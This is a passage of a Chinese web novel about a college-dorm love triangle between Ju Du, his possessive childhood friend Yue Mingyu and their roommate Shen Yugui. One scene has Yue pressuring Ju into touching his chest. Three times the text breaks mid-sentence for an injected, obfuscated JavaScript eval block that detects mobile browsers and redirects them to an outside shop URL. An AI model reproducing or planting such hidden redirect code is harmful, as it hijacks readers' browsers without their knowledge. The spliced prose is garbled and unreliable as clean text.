大魔王心情似乎不是很好的样子。所以居渡选择无视越鸣玉,转头看向了一旁的沈予归。“沈予归,你跟我们一起走吗?” 虽然居渡多少能看得出来越鸣玉好像不太喜欢沈予归,更像是本能地排斥这个人。但他倒是对此没什么感觉,反而觉得这个给自己带饭脾气又好的人真的还不错,相处起来很是舒心。 被冷落在一旁的越鸣玉坐在椅子上抬头盯着居渡,利剑一般的目光直戳戳扎在居渡身上,存在感十分强烈。 居渡有意忽视越鸣玉就差把“看我”刻在脸上的灼热视线,他转过身把笔塞进包里等着沈予归说话。 沈予归停顿了一下,似乎根本没想到居渡会约他一起走,紧接着应答的声音便传了过来。“好。” 明显能够感觉到这个人的情绪很高,好像能和居渡一起去教室这件事让他非常高兴。 “行。”居渡拉上背包的拉链,转身看了一眼沈予归又瞥了一眼不言不语的越鸣玉。 “······你脸抽筋了吗。”居渡对越鸣玉发出直击灵魂的疑问。因为这家伙面上的表情太过凶神恶煞,浑身又像是被一团黑色瘴气的东西包围起来。 居渡终于看向自己了,越鸣玉抬起手臂推了下脸,努力让自己的表情恢复正常。可是似乎不管他怎么做,眉目间的凶戾感都无法彻底消除。 “走吧,要迟到了。”越鸣玉站起来伸手拉了一下居渡的胳膊催促着,他的声音低低的,动作倒是放得轻,很快将手松开。明显是在顾及居渡的感受,也不想被居渡先一步地甩开。 居渡和沈予归对望了一眼,都在对方的眼睛里找到了莫名其妙四个大字,他们实在不太能理解越鸣玉整天都在想些什么。 随后居渡跟着越鸣玉出了寝室门,沈予归也没落下。在走下宿舍楼梯的时候,他抬眼看了看前面两个人。 越鸣玉歪着头正在和居渡说着什么,居渡也随意应了两句,似乎对越鸣玉说的话题不怎么感兴趣。 站在他们两人身后的沈予归只觉得这幅场景异常刺眼,他突然有些喘不过气,四肢变得僵硬起来,身体里那种无尽的空虚感几乎要将他整个人吞没。 他清楚地知道这两个人的世界外人是融不进去的。十几年的默契感,十几年的日日夜夜,陪在居渡身边的人一直都是那个暴躁又霸道的越鸣玉。 他当然不甘心,他怎么能甘心。 沈予归之前还不确认自己对居渡到底是什么样的感情。自从大一开学时被居渡帮了一把之后,他的眼睛就控制不住地一直寻找着居渡的身影。 偷偷看他坐在礼堂听开学典礼校长致辞听得昏昏欲睡,看他在食堂吃饭时脸上满足的神情,看他在体育课上坐在树荫下乘凉休息。 可是这些画面里全部都有另一个碍眼家伙的存在,包括现在也是。 这个长相凶狠行为放肆的高大家伙在居渡想要睡觉时递给他耳塞,帮居渡排队买他喜欢吃的饭菜,在居渡乘凉的时候主动跑到别处买水。 越鸣玉做的事情已经超过了“朋友”的范畴。 沈予归垂下眼,努力想要掩去眼底的落寞。他当然不甘心,直觉和本能告诉他不应该就这样停在原地。 但他又不知道具体该做些什么,该怎么去做,才能让居渡的眼睛里有自己,或者只有自己。 “沈予归,发什么呆呢,要迟到了。”居渡的声音蓦然让沈予归回过神来。 他猛地抬起头,发现居渡和越鸣玉都站在前方等着自己。越鸣玉站在居渡身体右侧,脸上还是那副不耐烦的神情,眼睛也瞥向一边,根本不想把视线投过来。 居渡则是直直地看向自己,那双漆黑明亮的眼睛里在这一刻只映出自己一个人的身影。 他突然间释然了,事情还没有定胜负,他或许也可以是站在居渡身边的那个人。 这样想着的沈予归冲着居渡笑了一下,他很少在外人面前露出这么真诚和放松的笑容。但只要是在居渡面前,一切都不成问题。 “没什么事,我们走吧。”沈予归快步走上前,走在居渡另一侧。 居渡很想叹口气来表达自己心中莫名而来的悲愤之情,他觉得沈予归还是少笑一些比较好,杀伤力真是不容小觑。 而且他的笑容明显已经让自己身边的大魔王起了火气。 走在居渡身旁的越鸣玉似乎察觉到沈予归想明白了什么事,他眉头锁得更紧,紧抿着唇满脸不悦。身体也有意识地往居渡身上靠了靠,像是大型猛兽本能地在宣示主权一般。 下一秒他就被居渡毫不留情地伸手推了回去。“越鸣玉,别往这边靠,热死了。” 大魔王偃旗息鼓。 教室里来了三三两两的同学,已经开了空调所以不怎么热,不过居渡一路走过来额上也出了一些汗。 注意到了居渡情况的越鸣玉刚想从自己包里拿出纸巾,就眼睁睁地看着沈予归拿着一包纸巾向居渡那边递了过去。 越鸣玉:······%#@&*&! “用我的吧。”沈予归把纸巾放到居渡面前,墨黑的眼睛直勾勾盯着居渡看。 居渡当然没想那么多,他觉得沈予归真是个三好室友,早上给自己带饭现在还有意照顾着自己。 “谢了!”居渡也没客气,顺手拿过纸巾擦着额上的汗珠。 开始上课的前五分钟,教室里陆陆续续人来得差不多了。越鸣玉这边的气压很低,周围的同学有意识地巧妙避开这一个圈,都坐到别的地方去。 开始上课的前一分钟,越鸣玉终于再也忍不住似的低吼出声:“为什么这家伙要和我们坐在一起?!” 如果忽视他一脸凶相声音低沉显然是被气到的样子,语气里那股被抛弃的哀怨就更明显了。 居渡当然是不知道这家伙又怎么了。“越鸣玉你声音小点。” 感受到了其他同学暗暗投来好奇的目光,甚至还有人直接转过头来看。越鸣玉一肚子火又不愿对居渡做什么,他目光笔直地瞪向那些围观群众撒气。 “看什么看?没见过三人排排坐啊?!再看把你们——” 话还没说完就被居渡警告地用手推了一下,越鸣玉只好把后半句话咽进肚子里,一口气差点没憋过去。 他们现在还真的是排排坐的状态,虽然三人中间间隔不小,但平常总是越鸣玉一个人黏着居渡坐在一起,这种排排坐场景还是比较少见。 沈予归毫不在意越鸣玉的反应是什么,他拿出书翻开看了看,安静等着上课。坐在两人中间的居渡则是趴在桌上拿着手机一脸无聊。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883471|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节课是颜斐章的课,在看到颜斐章眯眯眼笑着进到教室的一瞬间居渡只觉得后背发麻,默默放下手机免得再被颜斐章抓住小辫子。 看到颜斐章进来越鸣玉的心情自然好不到哪里去,他看了看直起身拿起书翻着的居渡,心里那股躁动逐渐平息了下来。走一步看一步,他可不会让其他不怀好意的家伙接近居渡。 想到这里越鸣玉就抬头剜了一眼讲台上的那头笑面狐狸,怎么看这家伙都是最难缠的。 他们上午只有颜斐章的一节大课,颜斐章这次倒是出乎意料地没有点人上来回答问题。居渡也跟着认真听了两节课,觉得自己受益匪浅。 那怎么可能。 在颜斐章布置完课后学习任务之后铃声刚好响起,颜斐章不是会拖堂的老师,铃响了就放他们下课去吃饭。 上完课的居渡瞬间放松下来一下子融化在桌子上。他觉得身心都很疲惫,总觉得这两节课颜斐章的目光似有似无放在自己身上,害得他都不敢偷懒。 而且他每次上颜斐章的课就感觉被催眠了一样,实在是困得不行。 越鸣玉坐在一旁看向居渡,颜斐章那笑面阎王一定是故意的。看着居渡这副没精神的样子他就觉得难受,他又斜了眼沈予归,满脸写着“还不快滚”四个大字。 沈予归在一旁慢慢收拾东西,他注意到了越鸣玉的视线,抬眼瞥了下便快速移开眼神,那样子像是看到什么脏东西似的。 “居渡,走吧,我们去吃饭。”越鸣玉又继续盯着居渡,他拼命压制着才没伸手摸上居渡的头发,总是会生出想要多碰碰居渡的冲动。 居渡听到吃饭两个字恢复了一些精力,他站起身来。“走吧,去晚就没位置了。” “对了沈予归,你要和我们一起吃吗。”居渡想了想还是问了下旁边的沈予归。 还没等越鸣玉说些什么来阻止,沈予归就先开口婉拒:“不了,谢谢。我中午有些事,你们去吃吧。” “行,那我和他就先走了,回头见。”居渡临走前打了下招呼。 沈予归点点头,看着居渡和越鸣玉并肩走出教室。 这家麻辣烫店开在食堂旁边,X大有四个食堂,正好分配到不同的宿舍区。他们过来的这个食堂离住的宿舍区比较近,食堂旁边有着各式各样的店铺,不想吃食堂的学生可以选择这些店打牙祭。 居渡和越鸣玉进来的时候店里人还不少,自己选菜称重拿号码牌,调料也是单独放在一个台面上,可以自己选择添加多少。 “我看看楼上还有没位置,先去占着。你先选菜。”越鸣玉边看着居渡边说,一个伸手就把居渡的包给拿过来了。 “好。”居渡应了一下,转身走到选菜区拿着盆开始选菜。 越鸣玉上了二楼,二楼靠窗还有位置,他走过去把他和居渡的背包放在椅子上占着位。接着也没多待,直接下去找居渡。 下来的时候居渡刚好付完钱领了号码牌,越鸣玉看到之后没先去选菜,而是大步走到居渡身旁。“你先上去,上面挺凉快的。我直接在这儿等着弄好,给你打了调料再上去。” “也行,你等会儿帮我那份多放点辣椒和麻油。”居渡把他自己那份麻辣烫的号码牌递给越鸣玉。 上楼之前还伸手拍了拍越鸣玉的肩膀。 不愧是好兄弟,真靠谱。 居渡已经上了二楼,被居渡主动拍了肩膀的越鸣玉看起来似乎没什么反应,身体一动也不动。 “同学,同学。能麻烦你让一让吗?”有准备把菜品称重的女生小声提醒越鸣玉。 愣在原地的越鸣玉这才反应过来,他低声说了一句:“不好意思。” 然后他快步走到选菜区准备选菜,谁都没有注意到这个面相凶戾性格蛮横的大魔王耳根处都有些发红。 14. 第14章 越鸣玉把选好的菜称重付完钱站在一旁等着,他好像还没缓过劲来,耳朵上的热度消不下去,一片泛红。偏偏身体又没做出多余的动作,就像是他还没意识到自己脸上到底是个什么表情一样。 仅仅因为居渡一个无意间的触碰,心脏就感觉要从胸腔里跳出来了,呼吸都变得急促起来。身体莫名被燥热感所占据,让他止不住地气血上涌。 越鸣玉拿着居渡那份菜品的号码牌,手指无意识地轻轻摩挲在上面。只要居渡主动碰他,喜悦的心情就怎么都难以抑制。 叫到居渡的号码后,越鸣玉没有耽误一秒,立刻把菜品端了过来,按照居渡刚刚说的打了调料走上二楼。 这会儿居渡刚好玩手机玩累了,正坐在窗边向楼下看去。眉眼清俊,周身气息平和,看向窗外的侧脸好看得过分,谁都会忍不住靠近他。 越鸣玉自然也是这样想的,他悄悄咽了咽口水,明晰的喉结不断上下滚动着。这张脸上平常总是凶巴巴的,难掩眉眼间的凶戾气息,这时候的神情倒显得温驯很多。 他快步走到居渡身旁,低声提醒了句:“居渡,你的那份来了。” 听到声音的居渡抬眼看向越鸣玉,黑漆漆的眼睛直盯着越鸣玉,里面没有丝毫其他的纷杂情绪。 越鸣玉被这一眼看得心更是颤了颤,他想让居渡的眼睛里一直有自己的存在,以另一种身份,以另一种,难言又污秽的欲望形式。 “谢了。”居渡看了眼越鸣玉,就继续盯着自己的午饭,能吃饭了他的心情当然很好。 越鸣玉把麻辣烫放在居渡面前,他顺势坐在居渡对面。“你先吃吧,我坐这儿继续等我的号。” “行。”居渡也没多客气,拿起筷子开始享受美食。 越鸣玉给居渡加的辣椒和麻油其实并没有过量,虽然居渡爱吃辣又能吃辣,但他总担心居渡会把胃吃坏了。 他自己不能吃辣,看到汤红红的一片,舌头就似乎火辣辣地疼起来,胃也堵得慌。 小时候每次居渡吃什么辣的东西,越鸣玉看到后非要跟着一起吃。结果往往是居渡站在一边什么事儿都没有,越鸣玉反而被辣得脖子都红了还要硬装成没事人。 居渡不说话吃了一会儿,越鸣玉就这样撑着手臂一直盯着居渡看。 平日里凶狠霸道个子高大的家伙,每次一到这种两人独处的时候就格外安静。幸好越鸣玉不是狗,不然估计现在都摇起尾巴来了。 广播里叫到了越鸣玉的号,他站起身来。 “要喝果汁吗,我正好下去给你买了。”越鸣玉低声问着。楼上有空调,他看居渡吃得没出什么汗,可是那汤底颜色很红,实在让他怵得慌。 居渡点点头,越鸣玉准备下去。居渡又抬头补充了一句:“买冰的可乐吧。” 越鸣玉背朝着居渡比了个“OK”的手势。 等越鸣玉再上来的时候他先是把买的两罐可乐其中一罐递给居渡,接着才把自己那份麻辣烫放在桌上。 他的麻辣烫真的只有最后一个字是符合标准的。居渡在越鸣玉把麻辣烫放在桌子上的时候瞄了一眼,接着给了越鸣玉一个“不愧是你”的眼神。 越鸣玉没说话,一张脸绷紧后凶巴巴的也看不出什么。 两人吃完饭一起回宿舍休息,居渡洗了脸躺在床上准备玩会儿手机。下午公休没课,待会儿再睡午觉也不迟。 宿舍的空调已经打开,居渡边躺着吹空调边看着手机里的动漫。越鸣玉坐在椅子上面对着居渡,他手上拿着手机,一双眼睛却时不时望向床上的居渡。 过了一会儿,越鸣玉起身去了趟卫生间又出来,他这次没有坐回到原位置,而是走到居渡床边站着。 居渡感受到了阴影,抽空看了眼站在床边低头盯着自己的越鸣玉。 眼神沉沉的,看不出这个家伙到底在想什么,像头只会凭着直觉行动的大型猛兽,看上去似乎非常容易袭击饲养自己的饲主。 “你要干嘛?”居渡把视线放回在自己手机屏幕上,想着这是白天就没多在意。他摸不透越鸣玉脑袋里到底在想什么,也没多少兴趣去了解。 和越鸣玉相处这么多年了,对这家伙的某些行为当然能自动免疫掉,大部分时间里选择直接无视。只有在越鸣玉脾气实在太过爆炸的时候,被周围人拜托着的居渡才会上前阻拦。 毕竟越鸣玉谁的话都不听,他只听居渡的话。只要居渡对他说上几句,他瞬间就能被安抚下来,其他人吊着的心也能放回去。 越鸣玉盯着居渡的脸看,声音沉沉的。“居渡,帮帮我。” 听到越鸣玉的这句话,居渡瞬间把注意力从手机中抽离出来,他坐直身体,快速换了个有安全感的姿势背靠着墙壁面对越鸣玉。 “越鸣玉,你要做什么。”居渡的手机里正传来动漫人物的声音,他的心思却根本不在那上面。 听到大魔王说出这句话他就后背发麻,一种强烈的不好预感让他警惕着越鸣玉。 越鸣玉抿着唇,凶戾的五官和高大结实的身躯让他整个人都充满不好惹的气息。但他此时在居渡面前,面上却禁不住闪过难堪的神色。 然后他就在居渡的床边撩起了自己上半身穿着的短袖,露出线条明晰的腹肌和结实柔韧的胸膛,蜜色皮肤健康又性感,散发着锻炼充分的男性身体的独特魅力。 居渡:······ “越鸣玉,你这是低级性骚扰。”居渡正试着和越鸣玉讲道理。 他又不是什么都不知道的高中生,就算他再怎么迟钝都知道两个男生做这种事不太好。更何况居渡还认为自己的身心非常健康,无不良嗜好。 越鸣玉没说话,他靠近了居渡的床一步。 居渡后背紧贴着墙壁,越鸣玉什么话都不说的样子看起来真的很恐怖。 “这种事是不对的。”居渡觉得越鸣玉这几天是越来越反常了,以往还能稍微制止一下,最近则是完全劝不住。 越鸣玉就这样保持着上撩衣服露出紧实蜜色胸肌的姿势,他微微弯着腰看向躲在床下阴影里的居渡。 “帮帮我。”低沉的嗓音有些发哑。 “越鸣玉,你要去看医生了。”居渡还想再挣扎一下,他努力建议着越鸣玉,声音却越来越小。 他是真的打心底里觉得大魔王的脑子不太好使。 越鸣玉实在是不知道该怎么让居渡察觉到自己的想法,他想要靠近居渡,想要和居渡有着更深一层的关系。 身体里毫无缘由冒出的焦躁感让他越来越痛苦,不断压抑着的情感等到爆发的那一天一定异常糟糕。 他更害怕居渡知道他的心思后,他们连身为“朋友”的这一层关系都会被毁掉。 只能一步一步地试探着居渡的心思,让这个格外迟钝的人慢慢接收到他的情感。这是一种异常自私自利的行为,对居渡来说很不公平。 越鸣玉对这一点再清楚不过,可是他找不到更好的方法,只能半开玩笑地说出这种话做出这种事。 如果他什么都不做的话,迟早有一天居渡会属于另外一个女人,而他只能作为儿时玩伴以朋友的身份出席他们的婚礼。 越鸣玉不想让居渡属于别人,又不愿意真正束缚住居渡。他不知道未来到底会变成什么样,但他目前毫无选择,连退路都被自己封住。 居渡这个人,无论在他身边的家伙是谁他都会平等地去对待。和别人相处时不太会产生隔阂,也不容易滋生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883472|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矛盾。 他似乎天生就是那种性格好的家伙,是很容易吸引别人靠近的类型。又因为他自己本身太过迟钝,所以经常忽视他人对自己的好感。 越鸣玉清楚地知道居渡的性格特性,他觉得利用居渡性格迟钝这一点的自己简直烂透了,是个彻头彻尾的混蛋。 “让你摸你就摸,哪那么多话!”越鸣玉脸上的表情又变得凶狠起来,语气霸道而无理。 强行让居渡摸他胸的样子真不知道谁才是被摸的那一个。 居渡看了越鸣玉三秒钟,轻轻叹了口气,似乎是在感叹命运不公。被迫和这家伙的胸膛进行亲密接触的那些日子历历在目,本来以为终于摆脱了,结果换了个地方还得继续干这种事。 在居渡叹气的时候越鸣玉眼皮颤动了一下,他的手臂僵硬着,开始后悔自己又冲动了的言行。 “那你坐过来。”居渡顺手扯了个枕头抱在怀里,阻挡着不让越鸣玉的身体离自己太近。 他是能尽量去理解越鸣玉一些奇奇怪怪的癖好,虽然不知道越鸣玉这种喜欢让自己摸他的怪癖是怎么产生的就是了。 说实话还算是在自己的接受范围内,反正被摸的又不是自己。居渡这样自我安慰着。 察觉到居渡没有生气,越鸣玉的眼睛一下子就亮了起来。他赶忙坐在居渡的床上,身体面对着居渡。 “自己把衣服撩起来,就五分钟,我等会儿要睡觉了。”居渡侧头看了看手机的时间,他其实有点困了。 越鸣玉听到居渡的话后,立刻把掉下去的短袖下摆重新撩到自己胸膛上方,挺直着腰背,露出发育良好的饱满胸肌。 居渡伸手覆盖上去,越鸣玉一直都有锻炼身体,身上没有丝毫多余的赘肉,肌肉紧致结实。掌心下传来温热的胸膛触感,柔韧紧实,摸上去很有弹性。 虽然居渡很不想承认,但有了高中那两年的经历,他现在对越鸣玉做这种事居然完全不生疏,动作十分顺畅。 他才不想变成越鸣玉那样的性骚扰变态。居渡心不在焉地想着。 手掌覆上去之后居渡就慢慢收拢手指,做着绕圈推挤的动作。蜜色胸肌柔韧的触感紧贴着自己的掌心,手感上真是不陌生。 承受着这一切的越鸣玉身躯跟着震颤了颤,被居渡碰到过的地方就像是要烧起来了一般无比滚烫。久违的感觉让他紧咬着牙才能克制住自己喉咙里的不堪声响,他不想发出那些暧昧的动静吓到居渡。 明明只是再普通不过的触碰,居渡的手却让他无比有感觉。吐息变热,背脊发麻,胸膛也跟着剧烈起伏。 居渡做这种事的时候倒是没想那么多,他没有刻意去思考别的事情分散注意力,单纯是做这种事的时候不太上心而已。 每一次居渡都没怎么注意下手的力气,他没什么心思导致受罪的人就变成了越鸣玉。越鸣玉紧皱着眉,手臂肌肉紧绷起来。胸膛不被用心地对待,多少产生了些刺痛感。 越鸣玉当然是一句抱怨都没有,他只是一声不吭地抬着手臂撩着自己的短袖。明明自己正在承受这种事,双眼却一瞬不瞬地紧盯着居渡。 五分钟到,居渡最后还无意识地拽了一下,又让越鸣玉的身体震了震。 居渡发觉到自己在干什么,赶快松开手。“啊,没注意,弄痛你了吗。” “没事。”越鸣玉的声音低低哑哑的。 他的话音刚落,沈予归推门走了进来。 居渡:······ 沈予归看着居渡的方向。 越鸣玉还没把衣服放下来,他大剌剌地露出上半身坐在居渡床上,加上居渡刚刚说的话,谁都能猜得到这两人到底干了什么。 真是来得早不如来得巧。 15. 第15章 此时此刻,居渡表示他真的很说不出话来,而且这似曾相识的一幕一定只是他的错觉。 目睹这一切的沈予归似乎没表现出太大的反应,他走进来后关上门。眼睛倒是直直看着坐在床上还抱着枕头呈现出防御姿态的居渡,墨黑的双眼沉沉的看不出思绪。 虽然居渡自认为没做什么亏心事,但他现在就是莫名觉得气氛有些奇怪。他想起能够精准描述这种感觉的事件了,和被人捉奸在床一模一样。 这是什么乱七八糟的形容,他怎么会想到那个地方,这一定都是越鸣玉的错。居渡立即晃了晃脑袋,不让这些奇怪的想法停留在脑中。 听到动静的越鸣玉仍坐在居渡床上,就算被看见了他也表现得从容不迫,不急不缓地把手臂放了下来,衣服落下遮住了他原本裸露在外的胸膛。 他瞥了一眼走进来的沈予归便不再去看,转而继续盯着离自己很近的居渡,居渡脸上的表情让他心痒痒的。 越鸣玉怎么可能怕被误会,他甚至对这种事还有点乐此不疲的意思。巴不得那家伙知难而退离居渡远远的,别来打扰他和居渡的二人时光。 “沈予归,你回来了。”其实居渡也只在一瞬间感到不太自在,他很快忽视了那种感觉,对沈予归说话的语气已经变得十分自然。 沈予归点点头,低声应了一句:“我回来了。” 接着他也没再多说什么,走近自己的书桌把背包放了下来。 居渡趁沈予归放包的时候有意伸手推了下越鸣玉。“给我回你自己床上去。” 越鸣玉紧皱着眉,胸膛上刚刚被居渡手掌抚弄过的感觉正在慢慢消散,这让他感到了寂寞和不满足。本来高昂着的心情也变得低落下来,每次只要那家伙一过来居渡就不让他靠近。 “再让我坐一会儿。”越鸣玉硬是占着位置不下床,他坐在居渡床上身体不动,锐利的双眼直勾勾地盯着居渡瞧。 他不想让居渡看别人,尤其还是那种明摆着惦记居渡的家伙。该怎么做才能让居渡看向自己?越鸣玉至今仍未找到正确的答案。 听到这话的居渡看了看越鸣玉,毫不犹豫地直接把自己怀里的枕头用力砸在越鸣玉身上。他不得不承认,有时候的确还挺想揍越鸣玉的,即使大魔王的武力值高得变态。 对于居渡像是在泄愤一样的举动越鸣玉并不在意,他伸手稳稳地接住居渡的枕头后顺势抱住。还趁着居渡不注意时低下头用脸轻轻磨蹭了两下,鼻腔里似乎充满了居渡身上好闻的气息。 注意到这一切的沈予归依旧没有言语,他站在一旁看着这两人之间的相处,无意识地抿了抿唇,垂在身侧的手掌紧攥起来。 一股难以忍受的酸涩感充斥着他的心脏,身体里的血液也好似瞬间被冻结一般。 刚才居渡和越鸣玉做的事他其实猜到了一点,在门外听到的声音和在居渡床上露出上半身的越鸣玉,谁都能看得出来这两人到底在干什么。 这是不正常的吗?沈予归当然不这样觉得。 他只是在看到那个场景的一瞬间,胸腔里急速鼓动着的心跳声告诉他,他想要替代坐在居渡床上的越鸣玉。 变成那个能被居渡触碰着的人,又或只是单纯地被注视,都能让他感到无比满足。而不是像现在这样,血液里奔涌着无法抑制的空虚和渴望,夹杂着不能摆到台面上来的丑陋妒忌。 沈予归敛下眼来,脑海中浮现出一次体育课上有关居渡的画面。 那个时候刚刚开学,开学后九月份的天气依然酷热难耐。他和居渡平时没有什么交流,因为家里的事情所以他也很少回宿舍。 那节体育课后面的一段时间让学生自由进行活动,当时居渡在操场旁的树荫下坐着玩手机,平常一直跟着的越鸣玉也不在他的身边。 沈予归在不远处默默盯着看了好一会儿,刚想要走过去表达自己被帮助的谢意,也知道可能只是单纯地想和居渡说说话。 还没等他靠近,远处就跑过来一个人高马大的男生,那家伙边向居渡跑过去边大声叫他的名字。 “居渡!”越鸣玉的声音很响亮,生怕居渡注意不到他似的。他手里拿着东西迅速大步跑向居渡所在的地方。 坐在树荫下的居渡听到声音后抬眼看了一下越鸣玉的方向,身体没怎么动弹,就这样坐在原地等着越鸣玉跑到他那边去。 这一幕让沈予归已经迈出的脚步停了下来,他的手垂在身侧紧握成拳,从身体深处莫名生出的失落和无力感让他浑身僵硬。 他明明正沐浴在炙热耀眼的阳光里,身体却仿佛被无比坚硬的冰锥刺伤。 那边越鸣玉已经跑到居渡身旁,他没有丝毫犹豫地蹲了下来,视线只放在居渡一人身上。“给你买了冰水,喝不喝。” 居渡边拿着手机边看了两眼越鸣玉手里的冰水。“你就买了一瓶?” 说完放下手机,接过越鸣玉递过来的冰水。他实在是想不通越鸣玉跑那么远却只买一瓶水到底是怎么想的。 谁知道越鸣玉听到居渡的这句问话后身体僵硬了一瞬,随即就像是掩饰什么似的语气凶狠地说了一句:“我喝你剩下的不就行了?” 居渡只是随口一问,根本不在意越鸣玉回答和反应,他伸手拧开瓶盖“咕噜咕噜”喝了几口,接着把水递回给越鸣玉。 “那你喝吧。” 越鸣玉快速接过,瓶身上的水珠触碰到手指有些冰凉凉的,他的一颗心却烫得厉害。居渡不会太在意这些细节对他来说真是一种奇迹般的存在。 感谢你,上天。越鸣玉怀着虔诚的心把嘴对准瓶口也仰头灌了几大口,和居渡间接接吻什么的他当然乐意至极。 当时的沈予归看到的就是这样的画面。那个时候他还没有意识到内心已经悄然萌芽的情感到底意味着什么,只觉得这幅画面让他感受到一种类似难堪的疼痛。 沈予归将自身从回忆里抽离出来,他看向居渡,声音低低的。“居渡,想问一下你国庆有什么安排吗?” 不再和越鸣玉打闹的居渡看向沈予归,国庆七天假快来了,不知道沈予归提起这个是要做什么,不过他也没怎么多想。“好像没什么打算,是有什么事吗?” 听到沈予归问了这句话的越鸣玉皱眉警惕地紧盯过去,这混蛋家伙到底想干什么,连他都还没来得及问居渡的国庆安排。 被抢先一步的感觉让越鸣玉相当不爽,他用力抱紧怀里属于居渡的枕头,面色难看,眼神满是不悦。 在听到居渡的回复时,沈予归那双墨黑的眼睛好似一下子明亮了起来。他想着必须要主动去邀请这个人,如果一直待在原地打转的话,那居渡就永远都不会注意到他。 “那要不要一起出去,我们社团有一个为期三天的露营······”沈予归话还没说完就被一道带着怒气的低沉声音粗暴打断。 “喂!”越鸣玉的脸色彻底沉了下来,他露出凶残野兽才会具有的目光,暗暗警告着沈予归别说不该说的。这家伙安的什么心他怎么会看不出来,正因如此才愈发不快。 居渡还没听沈予归说完,就被坐在自己床上的越鸣玉突然出声打断吓了一跳,他转头看着越鸣玉。 “干什么呢。”居渡微微皱着眉,有些不满。别人话都没说完就被打断,这当然不算是一种礼貌的行为。 越鸣玉被居渡这一眼看得心抖了一下,气势随之弱了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883473|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,他边看着居渡边闷闷地低声说了一句:“没什么。” 在居渡又转过头去继续看着沈予归时,越鸣玉依然眼神不善地盯着沈予归,他是绝对不可能让居渡和这个家伙独处的。 居渡略带歉意地看向沈予归。“然后呢?” 他把话题转了回来,沈予归自然是完全无视了越鸣玉眼神里的警告,他继续开口说着:“可以邀请社团外的人来参加,如果你感兴趣的话愿意一起出去玩也很好。” 说完之后沈予归便安静地看着居渡,等待居渡的回答。 居渡想着反正国庆七天假期也没什么事情可做,出去玩就当成是旅游散心了。不过假期里人流量估摸着会很高,出行不知道方不方便。 但反正待在宿舍里闲着也是闲着,能出去转一转还是挺好的。况且野外露营这种活动他还没有参加过,当下其实很感兴趣。 “好——”居渡话音未落紧接着跟了一道语气急促的附和。 “我也要!”越鸣玉伸出双臂揽住居渡的腰,把居渡往自己怀里带。察觉到居渡有要答应下来的意思,虽然不会直接阻挠居渡的决定,但越鸣玉显然也不打算离开居渡的身边。 或许居渡已经不记得了,他却一直清楚地记得小时候的那个约定。 居渡一时不察被越鸣玉揽抱住,他对这种肢体接触的亲密举动感到很不适应。“放开我,越鸣玉,然后从我的床上下去。” 越鸣玉用手臂环抱着居渡的身体,天气热衣服穿得不多,皮肤正紧密相贴,温热的触感十分明显。 听到居渡的警告他很快松开了手,接着非常听话似的立刻下了床,整个过程越鸣玉都没有开口说一句话。 但他站在床边弯腰低头盯着居渡。“我也要去。” 声音低沉有力,这句话说出来倒是没什么霸道强势的意思,不过听着依然让人无法拒绝。 换成是别人也许就迫于威压听从了越鸣玉,不敢做出反抗的举动,居渡却把越鸣玉的话无视了个彻彻底底。 “你去做什么?”居渡反问了一句,没再理睬对方。 越鸣玉没说话。 一旁的沈予归突然开口打破了这种奇怪的氛围,他的语气很平静,没太多波澜,声音又带着天然加成的好听。 “可以一起。” 居渡看着沈予归,沈予归的脸上没什么表情,一双墨黑的眼深不见底,看不出他的具体想法。 得到沈予归回答的越鸣玉好像并未高兴到哪里去,他的眉头紧锁,视线一直黏在坐在床上的居渡身上。 胸腔里压着一股莫名的憋闷,又带有一种酸酸涩涩的涨痛感。 居渡又看了眼站在自己床边不说话的越鸣玉,在大魔王脸上看到了“让我跟着”四个大字后默默转过头来。想想算了,多一个少一个其实没区别。 “那就先这样,我和他两个人参加,具体的行程我们之后再讨论。麻烦你了,沈予归。”敲定好出行计划的居渡朝着沈予归笑了一下。 看到居渡对自己露出笑脸,沈予归不可避免地愣了愣。原本空荡荡的心脏只一秒就被填满,他也几乎快要压制不住体内汹涌的情感。 居渡没再管从他床上下去的越鸣玉,他是真的困了,又聊了两句就躺在床上准备午睡。按照越鸣玉的性格肯定是死活都要黏着自己,希望那三天大魔王能够安分守己一点。 又想了想露营需要带些什么东西,居渡迷迷糊糊地很快便睡了过去。 床边的越鸣玉看向侧躺着已经进入梦乡的居渡,双眼沉沉的,站着看了一会儿才不发出声音地回到上铺。 一个眼神都没有给宿舍里的沈予归,权当这个人不存在。 16. 第16章 定下国庆假期的行程后,居渡每天还是和平常一样上课下课,不过大多数时间他都是和越鸣玉待在一起。 准确点来说是越鸣玉总是会跟在他身边,寸步不离,就像是在担心他会被其他人袭击一样。居渡多少能感受到越鸣玉的这种想法,他对此表示没什么话说。 